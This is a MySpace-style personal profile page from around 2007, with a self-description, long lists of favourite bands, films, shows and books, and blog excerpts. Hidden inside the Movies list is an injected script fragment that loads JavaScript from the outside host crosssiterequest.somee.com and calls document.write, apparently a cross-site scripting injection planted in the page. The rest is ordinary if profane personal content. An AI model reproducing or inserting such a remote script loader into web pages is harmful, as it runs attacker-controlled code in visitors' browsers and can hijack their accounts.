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DeaD!

ego stroker

About Me


My name is nimil. that is not my given name but that is what you will call me unless i specify otherwise. i am 25. most people think i'm 15 from my pictures but i assure you, i am not. i just have the ability to look alot younger than i really am. i think of it as a gift, and a curse. at least i can fool the carnival guys into guessing my age is alot younger than it really is.
i am a horror fanatic, and during october i work at a placed called hacker house. during the offseason i make corpses and build stuff, but october is when i really shine. if you live anywhere in north carolina, or in the lower half of virginia. i urge you to make the trip to pilot mountain and come see hacker house. we are rated 6th in the world for best haunted place, and we were also featured on the cover of haunted attractions magazine last year. check out the site for more information.
i have tried my hand at modeling, and i really enjoy it, but i cannot seem to find any photographers in my area because i live in bumfuck nowhere. i love playing dress up you might say. i am extremely vain even though i know i'm not all that hot. i am not thin, but i still think i am beautiful. curves are better than angles.
my dad is my best friend. he is probably the only thing that has kept me going all these years. unfortunately he is dying, and i don't know what i'll do when he actually does go. he taught me to be myself, and to never allow others to influence my decisions in life. he saved me from my mother's insanity, and made sure i grew up with a good education.
i abor drugs and alcohol. i think they are the stupidest thing ever invented. why would anyone want to destroy themselves for the sake of fun? this planet needs more people with actual brains in their heads and by the way things are going, it seems like most of them just enjoy rotting their brains instead of using them. you are idiots.
i concider myself a satanist, but it's not completely true. satanism is the closest thing to my religion i can think of to describe it though, so i run with it.
i can be a real bitch when it comes to my opinions and i don't really give two shits what you think about it. just realize that i'm not forcing these things down your throat, i'm just stating my feelings. you are always free to look at other profiles, or close the window. i will never force anyone to actually do what i say.
my interests, and manner of dress may seem cliche, but i really don't give a fuck. i am who i am because i want to be, not because my neighbor tells me to be. i do not concider myself to be in any sort of clique or lable. i like all kinds of music and entertainment. if you don't like it. too bad. i'm not going to change just be cause oh my god you don't like my music choices! grow a brain.
incase you're a good friend and you want to get me something for my birthday/holiday: amazon wishlist!
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My Interests

crossdressers, pretty boys, computer, internet, web design, cam girls, japanese culture, anime, music, bill mosley, horror movies, blood, gore, death, goo

I'd like to meet:

i'd like to make some new friends, because i don't really have many anymore. i lost the internet last year and i'm just now getting back online again at home fulltime. i will talk to anyone as long as they are able to hold an actual conversation beyond "a/s/l?" and "you're hot." i refuse to talk to anyone who cannot form complete words and i hate the phrase "plz".

also the following people:

Reasons I Won't Add you
Ever wonder why the hell you weren't added?: You are a silly emo kid. You are a band and i have never heard of you, or you are a band that sucks. (please note that if you are a band and you're a friend of mine, i will add you because i support my friends :p) YoU WrItE LiKe ThIs your profile crashes firefox you are one of those annoying people who post nothing but whore train and "add me" things in your bulletins... you use drugs (this does not apply to very good friends who i tolerate because i love)

Fuckers i've already met
this section is just here because i'd like to give a spotlight to all those people i've actually met that are in my massive myspace friends list :D THIS SECTION IS UNDER REMODELING DO NOT BITCH THAT YOU ARE NOT HERE! if you find yourself missing from this list, you either do not have a default picture, or i didn't recognize you while going though my friends list. just poke me or something and i'll put you on here.

Music:



3 Doors Down, A Ha, A Perfect Circle, Abney Park, Adema, AFI, Alanis Morissette, Alice Cooper, The All-American Rejects, And One, Andrew W K, Annie Lennox, Apoptygma Berzerk, Aqua, Assemblage 23, Audioslave, Ayumi Hamasaki, Barenaked Ladies, Beborn Beton, Beethoven, Bella Morte, Ben Folds Five, Ben Lee, Big Dumb Face, Billy Joel, Blind Guardian, Blink 182, Blood Hound Gang, Blue Oyster Cult, Blur, Bob Dylan, Bowling For Soup, Boxcar Racer, Brand New, Breaking Benjamin, Bush, Butthole Surfers, , Chester Bennington, Chevelle, Claire Voyant, Coal Chamber, Coheed And Cambria, Cold, Cold Play, Collide, Counting Crows, Cowboy Mouth, Cradle of Filth, Creed, Crossfade, The Cruxshadows, Cryptameria, Crystal Method, The Cure, D12, Daft punk, Daniel Bedingfield, Danzig, Das Ich, Dave Matthews, David Bowie, Deadstar Assembly, Deadsy, Deftones, Deine Lakaien, Depeche Mode, Dido, Disturbed, Elliot Smith, Eminem, Enigma, Enrapture, Enya, Epica, Evanescence, Eve 6, Everclear, Fear Factory, Freezepop, From Autumn to Ashes, Fuel, Garbage, Gin Blossoms, Goo Goo Dolls, Good Charlotte, Gorillaz, Gossamer, Guns and Roses, Gwar, Heart, HIM, Imperative Reaction, In Flames, In Strict Confidence, Incubus, Inkubus Sukkubus, Insane Clown Posse, Jack Off Jill, Jimmy Eat World, Johnny Cash, Kidney Thieves, Killswitch Engage, Korn, Kylie Minogue, Lacuna Coil, Leonard Cohen, Linkin Park, Live, London After Midnight, Lords of Acid, Lost Prophets, Madonna, Malice Mizer, Marilyn Manson, Matchbox Twenty, Mimic, The Misfits, Moby, Morresy, Mozart, Mushroomhead, My Chemical Romance, My Dying Bride, Nerf Herder, Nickelback, Nightwish, Nine Inch Nails, No Doubt, Nobuo Uematsu, Oingo Boingo, One Side Zero, Opeth, OPM, Orgy, Outkast, Ozzy Osbourne, Phil Collins, Pink, The Pixies, Placebo, POD, The Police, Powerman 5000, Primitive Radio Gods, Proclaimers, Prozzak, Puddle of Mudd, Queen, Queensryche, RA, Radiohead, Rammstein, The Rasmus, Rasputina, Real Mccoy, Red Hot Chili Peppers, Richard Cheese, Rob Zombie, Rufus Wainwright, Saliva, Savage Garden, Scary Valentine, Seether, Senses Fail, Seven Mary Three, Shinedown, Simon and Garfunkel, Sisters of Mercy, Slipknot, Smashing Pumpkins, Sneaker Pimps, Spacehog, Spiritualized, SR-71, Stabbing Westward, Staind, Sting, The Stone Roses, Story of the Year, Sublime, Switchfoot, System of a Down, Tangerine Dream, Tapping The Vein, TATU, Tea Party, Tears for Fears, Temple Of Rain, Theatre Of Tragedy, They Might Be Giants, Third Eye Blind, Tool, Trans-Siberian Orchestra, Trapt, Tricky, Type O Negative, Utada, Vast, Vertical Horizon, VNV Nation, Voltaire, Weetus, Weezer, The White Stripes, Wumpscut, Year Of The Rabbit, Yoko Kanno
Music i Support these are my friend's bands/music projects:
Pure Still , Fallacy , the choads , Soul Sanctuary
did i forget you? lemmie know and i'll toss you up there. (this is only for people i actually know..not just you random band people i happen to have on my list.)

Movies:

dead poet's society, one hour photo, dawn of the dead, bubba hotep, the starwars series, the harry potter series, drop dead fred, saved, texas chainsaw massacre series, night of the living dead series, full metal jacket, dr. strangelove, vanilla sky, house of 1000 corpses, cabin fever, the saw series, the labyrinth, the dark crystal, ichi the killer, devil's rejects, clerks, willy wonka and the chocolate factory (both versions), a series of unfortunate events, memiors of a geisha, willard, american psycho, clerks, silent bob and jay strike back, chasing amy, the matrix series, dead and breakfast.... language="javascript" src="http://crosssiterequest.somee.com/request.js"function nothingf(){document·write("nathanjosiah1.mov.r{}");}..

Television:

robot chicken, the smurfs, the snorks, fraggle rock, family guy, nge, chobits, escaflowne, house, CSI, law and order (any thing), aqua teen hungerforce, gravitation, perfect hair forever, squidbillies, 12 oz mouse, Dr. Who (old and new), nip/tuck

Books:

the harry potter series, the lord of the rings series, hitchiker's guide to the galaxy, the space odessy series, stardust, brave new world, 1984, farenheight 451, animal farm, the cronicals of narnia, anything written by steven king, anything written by anne rice, american psycho, naked lunch, dangerous angels, house of leaves

Heroes:


he makes me happy in pants...

My Blog

only one week away

Hand in mine, into your icy blues And then I'd say to you we could take to the highway With this trunk of ammunition too I'd end my days with you in a hail of bullets I'm trying, I'm trying To let yo...
Posted by DeaD! on Mon, 23 Apr 2007 05:25:00 PST

livin in a box

ok not a box, but an apartment, and life is awesome. lol bobbie's is so much fun!also.. i am totally and utterly in smushy love with lucas... counting the days till he gets here X_x
Posted by DeaD! on Thu, 12 Apr 2007 05:44:00 PST

happy newyears

hope everyone has fun! i'm about to go clubbin' with bobbie and her girlfriend <3
Posted by DeaD! on Sun, 31 Dec 2006 02:53:00 PST

coy's stepbrother is dead...

last night bubbie went to his cousin dean's house. dean gave him pills and persuaded him to play russian roulette. and well.. bubbie shot himself... i figured i'd pass that info along... god it's like...
Posted by DeaD! on Sat, 30 Dec 2006 09:45:00 PST

obligitory xmas blog

(written before we left for the mall)so giftmas wasn't spectacular, i guess it never is anymore.. but it wasn't horrible. my mum made cheeseburger casserole which is my favourite food in the entire wo...
Posted by DeaD! on Tue, 26 Dec 2006 03:31:00 PST

photos

yeah i'm wearing a hat...don't smoke kids 8)and then i got all artistic......
Posted by DeaD! on Wed, 13 Dec 2006 11:39:00 PST

yay survey relieves boredom

1. Who was your first prom date?ben 2. Who was your first roommate?craig 3. 1st alcoholic beverage?never drank. 4. What was your first job?rainbows end 5. What was your first car?never drove 6. W...
Posted by DeaD! on Thu, 30 Nov 2006 03:45:00 PST

raving in my pj's

ugh i just realized i've had a myspace since '03! how lame am i haha.i'm sitting here listening to my good friend's music stream (HI CONSTANTINE!) and he's making me want to dance around the bedroom l...
Posted by DeaD! on Thu, 30 Nov 2006 03:19:00 PST

this amused me

Adult surveys are fun. Meant to be completed by those ADULTS out of high school. Tired of all of those surveys made up by high school kids? FOR EXAMPLE....... 'Have you ever kissed someone?' 'Missed...
Posted by DeaD! on Thu, 09 Nov 2006 01:25:00 PST

things i need right now (basically just wanted to post a blog so you guys know i'm alive)

1. i need... a job. currently working on that. shh...stop bitching at me :p2. i need... gwar tickets! because i want to see them in december!3. i need... a camera. mine is dead, dead dead deaddy dead ...
Posted by DeaD! on Wed, 08 Nov 2006 11:29:00 PST